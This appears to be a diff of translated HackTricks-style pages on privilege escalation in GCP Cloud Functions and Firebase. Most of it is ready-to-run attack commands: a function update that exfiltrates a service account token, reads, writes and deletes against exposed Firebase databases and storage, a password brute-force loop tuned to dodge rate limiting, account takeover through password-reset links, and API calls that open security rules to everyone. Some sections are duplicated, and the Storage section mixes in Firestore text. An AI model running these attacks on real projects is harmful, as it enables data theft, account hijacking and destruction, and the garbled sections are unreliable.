> In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image.
|
||||
|
||||
Moguće su potrebne dodatne privilegije kao što su `.call` permission za verziju 1 cloudfunctions ili uloga `role/run.invoker` da bi se funkcija pokrenula.
|
||||
|
||||
<details><summary>Ažuriranje Cloud Function sa zlonamernim kodom za exfiltrate Service Account token</summary>
|
||||
Neke dodatne privilegije kao `.call` permission za version 1 cloudfunctions ili uloga `role/run.invoker` za trigger funkcije mogu biti potrebne.
|
||||
```bash
|
||||
# Create new code
|
||||
temp_dir=$(mktemp -d)
|
||||
@@ -56,18 +54,14 @@ gcloud functions deploy <cloudfunction-name> \
|
||||
# Get SA token calling the new function code
|
||||
gcloud functions call <cloudfunction-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Ako dobijete grešku `Permission 'run.services.setIamPolicy' denied on resource...` to je zato što koristite parametar `--allow-unauthenticated` i nemate dovoljno privilegija za to.
|
||||
> Ako dobijete grešku `Permission 'run.services.setIamPolicy' denied on resource...` to je zato što koristite parametar `--allow-unauthenticated` i nemate dovoljno dozvola za to.
|
||||
|
||||
Exploit script za ovu metodu nalazi se [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeSet`
|
||||
|
||||
Uz ovu permisiju možete dobiti **signed URL koji omogućava otpremanje fajla u bucket funkcije (ali kod funkcije neće biti promenjen, i dalje morate da ga ažurirate)**
|
||||
|
||||
<details><summary>Generate signed upload URL for Cloud Function</summary>
|
||||
Sa ovom dozvolom možete dobiti **signed URL koji omogućava otpremanje fajla u bucket funkcije (ali kod funkcije neće biti izmenjen, i dalje ga morate ažurirati)**
|
||||
```bash
|
||||
# Generate the URL
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
|
||||
@@ -75,21 +69,32 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
</details>
|
||||
|
||||
Nisam sasvim siguran koliko je korisna samo ova dozvola iz perspektive napadača, ali dobro je znati.
|
||||
Nisam baš siguran koliko je korisna samo ova dozvola iz perspektive napadača, ali dobro je znati.
|
||||
|
||||
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Dodelite sebi bilo koju od prethodnih **`.update`** ili **`.create`** privilegija da eskalirate.
|
||||
|
||||
Dodeli sebi bilo koju od prethodnih **`.update`** ili **`.create`** privilegija da eskaliraš.
|
||||
```bash
|
||||
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
|
||||
--region=<REGION> \
|
||||
--member="<MIEMBRO>" \
|
||||
--role="roles/cloudfunctions.invoker"
|
||||
```
|
||||
### `cloudfunctions.functions.update`
|
||||
|
||||
Ako imate samo **`cloudfunctions`** dozvole, bez **`iam.serviceAccounts.actAs`**, **nećete moći da ažurirate funkciju, TAKO DA OVO NIJE VALIDAN PRIVESC.**
|
||||
Ako imate samo **`cloudfunctions`** dozvole, bez **`iam.serviceAccounts.actAs`**, nećete moći da ažurirate funkciju — tako da ovo NIJE VALIDAN PRIVESC.
|
||||
|
||||
### Read & Write Access over the bucket
|
||||
### Pozivanje funkcija
|
||||
Sa `cloudfunctions.functions.get`, `cloudfunctions.functions.invoke`, `run.jobs.run`, i run.routes.invoke dozvolama, identitet može direktno da pozove Cloud Functions. Takođe je neophodno da funkcija dozvoli javni pristup, ili da pozivaoc bude u istoj mreži kao i sama funkcija.
|
||||
```bash
|
||||
curl -X POST "https://<FUNCTION_URL>" \
|
||||
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{ "name": "Developer" }'
|
||||
```
|
||||
### Pristup za čitanje i pisanje nad bucket
|
||||
|
||||
Ako imate pristup za čitanje i pisanje nad bucket-om, možete pratiti promene u kodu i kad god se desi **ažuriranje u bucket-u, možete zameniti novi kod svojim kodom** tako da će nova verzija Cloud Function biti pokrenuta sa poslatim backdoored code-om.
|
||||
Ako imate pristup za čitanje i pisanje nad bucket-om, možete pratiti promene u kodu i kad god se desi **ažuriranje u bucket-u možete zameniti novi kod svojim kodom** tako da nova verzija Cloud Function bude pokrenuta sa poslatim backdoored code-om.
|
||||
|
||||
You can check more about the attack in:
|
||||
|
||||
@@ -97,18 +102,18 @@ You can check more about the attack in:
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Međutim, ovo ne možete koristiti za prethodno kompromitovanje trećih Cloud Functions, jer ako kreirate bucket u svom nalogu i date mu javne dozvole tako da eksterni projekat može pisati u njega, dobićete sledeću grešku:
|
||||
Međutim, ne možete ovo iskoristiti za pre-kompromitovanje Cloud Functions trećih strana zato što, ako kreirate bucket u svom nalogu i date mu javna prava da eksterni projekat može pisati u njega, dobijate sledeću grešku:
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> Međutim, ovo bi moglo biti iskorišćeno za DoS napade.
|
||||
|
||||
### Read & Write Access over Artifact Registry
|
||||
### Pristup za čitanje i pisanje nad Artifact Registry
|
||||
|
||||
Kada se kreira Cloud Function, nova docker image se postavlja u Artifact Registry projekta. Pokušao sam da modifikujem image novim, pa čak i da obrišem trenutni image (i `cache` image) i ništa se nije promenilo, Cloud Function je nastavila da radi. Dakle, možda bi **moglo biti moguće zloupotrebiti Race Condition attack** slično kao sa bucket-om da se promeni docker container koji će biti pokrenut, ali **samo modifikovanje sačuvanog image-a nije dovoljno da se kompromituje Cloud Function**.
|
||||
Kada se kreira Cloud Function, nova docker image se push-uje u Artifact Registry projekta. Pokušao sam da izmenim image novim, pa čak i da obrišem trenutni image (i `cache` image) i ništa se nije promenilo — Cloud Function je nastavila da radi. Dakle, možda **bi moglo biti moguće zloupotrebiti Race Condition attack** kao kod bucket-a da se promeni docker container koji će biti pokrenut, ali **samo izmena smeštenog image-a nije moguća da kompromituje Cloud Function**.
|
||||
|
||||
## References
|
||||
## Referencije
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
@@ -0,0 +1,446 @@
|
||||
# GCP - Firebase Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Firebase
|
||||
|
||||
### Neautentifikovan pristup Firebase Realtime Database
|
||||
Napadaču nisu potrebna posebna Firebase dopuštenja da bi izveo ovaj napad. Potrebno je samo da postoji ranjiva konfiguracija u sigurnosnim pravilima Firebase Realtime Database, gde su pravila postavljena sa `.read: true` ili `.write: true`, što omogućava javni pristup za čitanje ili pisanje.
|
||||
|
||||
Napadač mora da identifikuje URL baze podataka, koji obično ima format: `https://<project-id>.firebaseio.com/`.
|
||||
|
||||
Ovaj URL se može pronaći kroz mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), analizom konfiguracionih fajlova kao što su google-services.json (Android) ili GoogleService-Info.plist (iOS), pregledom izvornog koda web aplikacija, ili ispitivanjem mrežnog saobraćaja kako bi se identifikovali zahtevi ka `*.firebaseio.com` domenima.
|
||||
|
||||
Napadač identifikuje URL baze i proverava da li je javno izložen, zatim pristupa podacima i potencijalno upisuje zlonamerni sadržaj.
|
||||
|
||||
Prvo, proveravaju da li baza dozvoljava čitanje dodavanjem .json na URL.
|
||||
```bash
|
||||
curl https://<project-id>-default-rtdb.firebaseio.com/.json
|
||||
```
|
||||
Ako odgovor sadrži JSON podatke ili null (umesto "Permission Denied"), baza podataka dozvoljava read access. Da bi proverio write access, napadač može pokušati da pošalje test write zahtev koristeći Firebase REST API.
|
||||
```bash
|
||||
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
|
||||
```
|
||||
If the operation succeeds, the database also allows write access.
|
||||
|
||||
### Izlaganje podataka u Cloud Firestore
|
||||
Napadaču nisu potrebna nikakva specifična Firebase permissions da izvede ovaj napad. Potrebno je samo da postoji ranjiva konfiguracija u Cloud Firestore security rules gde pravila dozvoljavaju read or write access bez autentifikacije ili uz nedovoljnu validaciju. Primer neispravno konfigurisanog pravila koje daje full access je:
|
||||
```bash
|
||||
service cloud.firestore {
|
||||
match /databases/{database}/documents/{document=**} {
|
||||
allow read, write: if true;
|
||||
}
|
||||
}
|
||||
```
|
||||
Ovo pravilo omogućava bilo kome da čita i piše sve dokumente bez ikakvih ograničenja. Firestore pravila su granulirana i primenjuju se po kolekciji i dokumentu, tako da greška u konkretnom pravilu može izložiti samo određene kolekcije.
|
||||
|
||||
Napadač mora identifikovati Firebase Project ID, koji se može pronaći kroz mobile app reverse engineering, analizu konfiguracionih fajlova kao što su google-services.json ili GoogleService-Info.plist, inspekcijom izvornog koda web aplikacija, ili analizom mrežnog saobraćaja da bi identifikovao zahteve ka firestore.googleapis.com.
|
||||
|
||||
Firestore REST API koristi format:
|
||||
```bash
|
||||
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
Ako pravila dozvoljavaju unauthenticated read access, attacker može da pročita collections and documents. Prvo pokušava da pristupi određenoj collection:
|
||||
```bash
|
||||
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
|
||||
```
|
||||
Ako odgovor sadrži JSON dokumente umesto greške vezane za dozvole, kolekcija je izložena. Napadač može izlistati sve dostupne kolekcije pokušavanjem uobičajenih imena ili analizom strukture aplikacije. Da bi pristupio određenom dokumentu:
|
||||
```bash
|
||||
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
Ako pravila omogućavaju neautentifikovan pristup za pisanje ili imaju nedovoljnu validaciju, napadač može kreirati nove dokumente:
|
||||
```bash
|
||||
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"fields": {
|
||||
"name": {"stringValue": "Test"},
|
||||
"email": {"stringValue": "test@example.com"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Za izmenu postojećeg dokumenta treba koristiti PATCH:
|
||||
```bash
|
||||
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"fields": {
|
||||
"role": {"stringValue": "admin"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Da obrišete dokument i izazovete denial of service:
|
||||
```bash
|
||||
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
### Izloženost fajlova u Firebase Storage
|
||||
Napadaču nisu potrebna nikakva specifična Firebase ovlašćenja da izvede ovaj napad. Potrebno je samo da postoji ranjiva konfiguracija u Firebase Storage security rules gde pravila dopuštaju pristup za čitanje ili pisanje bez autentifikacije ili sa nedovoljnom validacijom. Storage rules nezavisno kontrolišu dozvole za čitanje i pisanje, pa greška u pravilu može izložiti samo pristup za čitanje, samo pristup za pisanje, ili oba. Primer pogrešno konfigurisanog pravila koje daje potpuni pristup je:
|
||||
```bash
|
||||
service cloud.firestore {
|
||||
match /databases/{database}/documents/{document=**} {
|
||||
allow read, write: if true;
|
||||
}
|
||||
}
|
||||
```
|
||||
Ovo pravilo dozvoljava čitanje i pisanje svih dokumenata bez ikakvih ograničenja. Firestore pravila su granularna i primenjuju se po kolekciji i po dokumentu, tako da greška u određenom pravilu može izložiti samo neke kolekcije. Napadač mora identifikovati Firebase Project ID, koji se može naći kroz mobile application reverse engineering, analizom konfiguracionih fajlova kao što su google-services.json ili GoogleService-Info.plist, pregledom izvornog koda web aplikacije, ili analizom mrežnog saobraćaja da bi identifikovao zahteve ka firestore.googleapis.com.
|
||||
Firestore REST API koristi format:`https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
|
||||
|
||||
Ako pravila dozvoljavaju neautentifikovano čitanje, napadač može čitati kolekcije i dokumente. Prvo pokušava da pristupi određenoj kolekciji.
|
||||
```bash
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
|
||||
```
|
||||
Ako odgovor sadrži listu datoteka umesto greške dozvole, datoteka je izložena. Napadač može pregledati sadržaj datoteka navođenjem njihovog puta:
|
||||
```bash
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
|
||||
```
|
||||
Ako pravila dozvoljavaju neautentifikovan pristup za pisanje ili imaju nedovoljnu validaciju, napadač može otpremiti maliciozne fajlove. Da biste otpremili fajl preko REST API-ja:
|
||||
```bash
|
||||
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
|
||||
-H "Content-Type: <content-type>" \
|
||||
--data-binary @<local-file>
|
||||
```
|
||||
Napadač može otpremiti code shells, malware payloads ili velike datoteke kako bi izazvao denial of service. Ako aplikacija obrađuje ili izvršava otpremljene datoteke, napadač može postići remote code execution. Da bi obrisao datoteke i izazvao denial of service:
|
||||
```bash
|
||||
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
|
||||
```
|
||||
### Pozivanje javnih Firebase Cloud Functions
|
||||
Napadaču nisu potrebna posebna Firebase dopuštenja da iskoristi ovaj problem; dovoljno je da je Cloud Function javno dostupna preko HTTP-a bez autentifikacije.
|
||||
|
||||
Funkcija je ranjiva kada je nesigurno konfigurisana:
|
||||
|
||||
- Koristi functions.https.onRequest, koja ne nameće autentifikaciju (za razliku od onCall functions).
|
||||
- Kod funkcije ne validira korisničku autentifikaciju (npr. nema provera request.auth ili context.auth).
|
||||
- Funkcija je javno dostupna u IAM, što znači da allUsers ima roles/cloudfunctions.invoker rolu. Ovo je podrazumevano ponašanje za HTTP functions osim ako developer ne ograniči pristup.
|
||||
|
||||
Firebase HTTP Cloud Functions izlažu se preko URL-ova kao što su:
|
||||
|
||||
- https://<region>-<project-id>.cloudfunctions.net/<function-name>
|
||||
- https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)
|
||||
|
||||
Napadač može otkriti ove URL-ove analizom izvornog koda, inspekcijom mrežnog saobraćaja, alatima za enumeraciju ili reverse engineering-om mobilne aplikacije.
|
||||
Ako je funkcija javno izložena i nema autentifikaciju, napadač je može pozvati direktno bez kredencijala.
|
||||
```bash
|
||||
# Invoke public HTTP function with GET
|
||||
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
|
||||
# Invoke public HTTP function with POST and data
|
||||
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"param1": "value1", "param2": "value2"}'
|
||||
```
|
||||
If the function does not properly validate inputs, the attacker may attempt other attacks such as code injection or command injection.
|
||||
|
||||
|
||||
### Brute-force attack against Firebase Authentication with a weak password policy
|
||||
Napadaču nisu potrebna nikakva specifična Firebase dozvola da izvede ovaj napad. Potrebno je samo da je Firebase API Key izložen u mobilnim ili web aplikacijama, i da politika lozinki nije podešena sa strožijim zahtevima od podrazumevanih.
|
||||
|
||||
Napadač mora identifikovati Firebase API Key, koji se može pronaći kroz reverse engineering mobilne aplikacije, analizu konfiguracionih fajlova kao što su google-services.json ili GoogleService-Info.plist, pregledom izvornog koda web aplikacija (npr. u bootstrap.js), ili analizom mrežnog saobraćaja.
|
||||
|
||||
Firebase Authentication’s REST API uses the endpoint:
|
||||
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
|
||||
to authenticate with email and password.
|
||||
|
||||
Ako je Email Enumeration Protection onemogućena, API odgovori sa greškama mogu otkriti da li email postoji u sistemu (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), što omogućava napadačima da identifikuju korisnike pre nego što pokušaju pogađanje lozinki. Kada je ova zaštita omogućena, API vraća istu poruku o grešci i za nepostojeće emailove i za pogrešne lozinke, što sprečava enumeraciju korisnika.
|
||||
|
||||
Važno je napomenuti da Firebase Authentication primenjuje rate limiting, koji može blokirati zahteve ako se previše pokušaja autentifikacije desi u kratkom vremenu. Zbog toga bi napadač morao uvoditi kašnjenja između pokušaja kako bi izbegao rate limiting.
|
||||
|
||||
Napadač identifikuje API Key i vrši pokušaje autentifikacije sa više lozinki protiv poznatih naloga. Ako je Email Enumeration Protection onemogućena, napadač može identifikovati postojeće korisnike analizom odgovora sa greškama:
|
||||
```bash
|
||||
# Attempt authentication with a known email and an incorrect password
|
||||
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"email": "usuario@example.com",
|
||||
"password": "password",
|
||||
"returnSecureToken": true
|
||||
}'
|
||||
```
|
||||
Ako odgovor sadrži EMAIL_NOT_FOUND, email ne postoji u sistemu. Ako sadrži INVALID_PASSWORD, email postoji ali je lozinka netačna, što potvrđuje da je korisnik registrovan. Kada je validan korisnik identifikovan, napadač može izvoditi brute-force pokušaje. Važno je uključiti pauze između pokušaja da bi se izbegli Firebase Authentication’s mehanizmi ograničavanja zahteva:
|
||||
```bash
|
||||
counter=1
|
||||
for password in $(cat wordlist.txt); do
|
||||
echo "Intento $counter: probando contraseña '$password'"
|
||||
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")
|
||||
|
||||
if echo "$response" | grep -q "idToken"; then
|
||||
echo "Contraseña encontrada: $password (intento $counter)"
|
||||
break
|
||||
fi
|
||||
|
||||
# Stop for the rate limiting
|
||||
sleep 1
|
||||
counter=$((counter + 1))
|
||||
done
|
||||
```
|
||||
Sa podrazumevanom politikom lozinki (minimum 6 karaktera, bez zahteva za složenošću), napadač može pokušati sve moguće kombinacije lozinki od 6 karaktera, što predstavlja relativno mali prostor pretrage u poređenju sa strožijim politikama lozinki.
|
||||
|
||||
### Upravljanje korisnicima u Firebase Authentication
|
||||
|
||||
Napadaču su potrebna specifična Firebase Authentication dopuštenja da bi izveo ovaj napad. Potrebna dopuštenja su:
|
||||
|
||||
- `firebaseauth.users.create` to create users
|
||||
- `firebaseauth.users.update` to modify existing users
|
||||
- `firebaseauth.users.delete` to delete users
|
||||
- `firebaseauth.users.get` to retrieve user information
|
||||
- `firebaseauth.users.sendEmail` to send emails to users
|
||||
- `firebaseauth.users.createSession` to create user sessions
|
||||
|
||||
Ove dozvole su uključene u ulogu `roles/firebaseauth.admin`, koja daje puni pristup za čitanje i pisanje Firebase Authentication resursima. Takođe su uključene u uloge višeg nivoa kao što su roles/firebase.developAdmin (koja uključuje sva firebaseauth.* permissions) i roles/firebase.admin (puni pristup svim Firebase servisima).
|
||||
|
||||
Da bi koristio Firebase Admin SDK, napadaču bi bio potreban pristup service account credentials (JSON file), koji se mogu naći na kompromitovanim sistemima, javno izloženim repozitorijumima koda, kompromitovanim CI/CD sistemima, ili kroz kompromitovanje developerskih naloga koji imaju pristup tim credential-ima.
|
||||
|
||||
Prvi korak je konfigurisanje Firebase Admin SDK koristeći service account credentials.
|
||||
```bash
|
||||
import firebase_admin
|
||||
from firebase_admin import credentials, auth
|
||||
cred = credentials.Certificate('path/to/serviceAccountKey.json')
|
||||
firebase_admin.initialize_app(cred)
|
||||
```
|
||||
Da bi kreirao zlonamernog korisnika koristeći email žrtve, napadač bi pokušao da koristi Firebase Admin SDK za generisanje novog naloga pod tom email adresom.
|
||||
```bash
|
||||
user = auth.create_user(
|
||||
email='victima@example.com',
|
||||
email_verified=False,
|
||||
password='password123',
|
||||
display_name='Usuario Malicioso',
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario creado: {user.uid}')
|
||||
```
|
||||
Da bi izmenio postojećeg korisnika, napadač bi ažurirao polja kao što su adresa e-pošte, status verifikacije ili da li je nalog onemogućen.
|
||||
```bash
|
||||
user = auth.update_user(
|
||||
uid,
|
||||
email='nuevo-email@example.com',
|
||||
email_verified=True,
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario actualizado: {user.uid}')
|
||||
```
|
||||
Da bi izbrisao korisnički nalog i prouzrokovao denial of service, napadač bi poslao zahtev za potpuno uklanjanje korisnika.
|
||||
```bash
|
||||
auth.delete_user(uid)
|
||||
print('Usuario eliminado exitosamente')
|
||||
```
|
||||
Napadač takođe može da pribavi informacije o postojećim korisnicima tražeći njihov UID ili adresu e-pošte.
|
||||
```bash
|
||||
user = auth.get_user(uid)
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
user = auth.get_user_by_email('usuario@example.com')
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
```
|
||||
Pored toga, napadač bi mogao da generiše verifikacione linkove ili linkove za resetovanje lozinke kako bi promenio lozinku korisnika i stekao pristup njegovom nalogu.
|
||||
```bash
|
||||
link = auth.generate_email_verification_link(email)
|
||||
print(f'Link de verificación: {link}')
|
||||
link = auth.generate_password_reset_link(email)
|
||||
print(f'Link de reset: {link}')
|
||||
```
|
||||
### Upravljanje korisnicima u Firebase Authentication
|
||||
Napadač treba određene Firebase Authentication dozvole da izvede ovaj napad. Potrebne dozvole su:
|
||||
|
||||
- `firebaseauth.users.create` za kreiranje korisnika
|
||||
- `firebaseauth.users.update` za izmenu postojećih korisnika
|
||||
- `firebaseauth.users.delete` za brisanje korisnika
|
||||
- `firebaseauth.users.get` za dobijanje informacija o korisnicima
|
||||
- `firebaseauth.users.sendEmail` za slanje emailova korisnicima
|
||||
- `firebaseauth.users.createSession` za kreiranje korisničkih sesija
|
||||
|
||||
Ove dozvole su uključene u roli roles/firebaseauth.admin, koja daje pun read/write pristup resursima Firebase Authentication. Takođe su deo višeg nivoa rola kao što su `roles/firebase.developAdmin` (koja uključuje sve firebaseauth.* dozvole) i `roles/firebase.admin` (puni pristup svim Firebase servisima).
|
||||
|
||||
Da bi koristio Firebase Admin SDK, napadač bi morao da ima pristup podacima servisnog naloga (JSON fajl), koji se mogu dobiti sa kompromitovanih sistema, javno izloženih repozitorijuma koda, kompromitovanih CI/CD okruženja, ili kompromitovanjem developerskih naloga koji imaju pristup tim podacima.
|
||||
|
||||
Prvi korak je konfiguracija Firebase Admin SDK koristeći podatke servisnog naloga.
|
||||
```bash
|
||||
import firebase_admin
|
||||
from firebase_admin import credentials, auth
|
||||
cred = credentials.Certificate('path/to/serviceAccountKey.json')
|
||||
firebase_admin.initialize_app(cred)
|
||||
```
|
||||
Da bi kreirao malicioznog korisnika koristeći e-mail žrtve, napadač bi pokušao da kreira novi korisnički nalog sa tim e-mailom, dodeljujući sopstvenu lozinku i podatke profila.
|
||||
```bash
|
||||
user = auth.create_user(
|
||||
email='victima@example.com',
|
||||
email_verified=False,
|
||||
password='password123',
|
||||
display_name='Usuario Malicioso',
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario creado: {user.uid}')
|
||||
```
|
||||
Da bi izmenio postojećeg korisnika, attacker bi promenio polja kao što su email adresa, status verifikacije ili da li je nalog onemogućen.
|
||||
```bash
|
||||
user = auth.update_user(
|
||||
uid,
|
||||
email='nuevo-email@example.com',
|
||||
email_verified=True,
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario actualizado: {user.uid}')
|
||||
```
|
||||
Da bi obrisao korisnički nalog — efektivno prouzrokovavši denial of service — napadač bi poslao zahtev da trajno ukloni tog korisnika.
|
||||
```bash
|
||||
auth.delete_user(uid)
|
||||
print('Usuario eliminado exitosamente')
|
||||
```
|
||||
Napadač takođe može da dohvati informacije o postojećim korisnicima, kao što su njihov UID ili email, zahtevajući detalje korisnika po UID‑u ili po email adresi.
|
||||
```bash
|
||||
user = auth.get_user(uid)
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
user = auth.get_user_by_email('usuario@example.com')
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
```
|
||||
Pored toga, napadač može da generiše verifikacione linkove ili linkove za resetovanje lozinke, čime bi mogao da promeni lozinku korisnika i preuzme kontrolu nad nalogom.
|
||||
```bash
|
||||
link = auth.generate_email_verification_link(email)
|
||||
print(f'Link de verificación: {link}')
|
||||
link = auth.generate_password_reset_link(email)
|
||||
print(f'Link de reset: {link}')
|
||||
```
|
||||
### Izmena bezbednosnih pravila u Firebase servisima
|
||||
Napadač treba specifična ovlašćenja da izmeni bezbednosna pravila, u zavisnosti od servisa. Za Cloud Firestore i Firebase Cloud Storage, potrebna su ovlašćenja `firebaserules.rulesets.create` za kreiranje ruleset-ova i `firebaserules.releases.create` za objavljivanje releases-a. Ova ovlašćenja su uključena u roli `roles/firebaserules.admin` ili u višim rolama kao što su `roles/firebase.developAdmin` i `roles/firebase.admin`. Za Firebase Realtime Database, potrebno ovlašćenje je `firebasedatabase.instances.update`.
|
||||
|
||||
Napadač mora koristiti Firebase REST API da bi izmenio bezbednosna pravila.
|
||||
Prvo, napadač mora dobiti access token koristeći kredencijale service account-a.
|
||||
Za dobijanje tokena:
|
||||
```bash
|
||||
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
|
||||
ACCESS_TOKEN=$(gcloud auth print-access-token)
|
||||
```
|
||||
Da biste izmenili pravila Firebase Realtime Database:
|
||||
```bash
|
||||
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"rules": {
|
||||
".read": true,
|
||||
".write": true
|
||||
}
|
||||
}'
|
||||
```
|
||||
Da bi izmenio Cloud Firestore rules, napadač mora da kreira skup pravila i potom ga primeni:
|
||||
```bash
|
||||
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"source": {
|
||||
"files": [{
|
||||
"name": "firestore.rules",
|
||||
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n match /databases/{database}/documents {\n match /{document=**} {\n allow read, write: if true;\n }\n }\n}"
|
||||
}]
|
||||
}
|
||||
}'
|
||||
```
|
||||
Prethodna komanda vraća naziv ruleset u formatu projects/<project-id>/rulesets/<ruleset-id>. Da biste deploy-ovali novu verziju, release mora biti ažuriran pomoću PATCH zahteva:
|
||||
```bash
|
||||
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"release": {
|
||||
"name": "projects/<project-id>/releases/cloud.firestore",
|
||||
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Da biste izmenili pravila za Firebase Cloud Storage:
|
||||
```bash
|
||||
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"source": {
|
||||
"files": [{
|
||||
"name": "storage.rules",
|
||||
"content": "service firebase.storage {\n match /b/{bucket}/o {\n match /{allPaths=**} {\n allow read, write: if true;\n }\n }\n}"
|
||||
}]
|
||||
}
|
||||
}'
|
||||
```
|
||||
Prethodna komanda vraća ime ruleset-a u formatu projects/<project-id>/rulesets/<ruleset-id>. Da bi se objavila nova verzija, release mora biti ažuriran korišćenjem PATCH request-a:
|
||||
```bash
|
||||
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"release": {
|
||||
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
|
||||
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Eksfiltracija i manipulacija podacima u Cloud Firestore
|
||||
Cloud Firestore koristi istu infrastrukturu i sistem dozvola kao Cloud Datastore, pa Datastore IAM dozvole važe direktno za Firestore. Za manipulaciju TTL politika je potrebna dozvola `datastore.indexes.update`. Za eksport podataka je potrebna dozvola `datastore.databases.export`. Za import podataka je potrebna dozvola `datastore.databases.import`. Za izvođenje masovnog brisanja podataka je potrebna dozvola `datastore.databases.bulkDelete`.
|
||||
|
||||
Za operacije bekapa i restore-a potrebne su sledeće specifične dozvole:
|
||||
|
||||
- `datastore.backups.get` i `datastore.backups.list` za listanje i dobijanje detalja o dostupnim bekapima
|
||||
- `datastore.backups.delete` za brisanje bekapa
|
||||
- `datastore.backups.restoreDatabase` za vraćanje baze iz bekapa
|
||||
- `datastore.backupSchedules.create` i `datastore.backupSchedules.delete` za upravljanje rasporedima bekapa
|
||||
|
||||
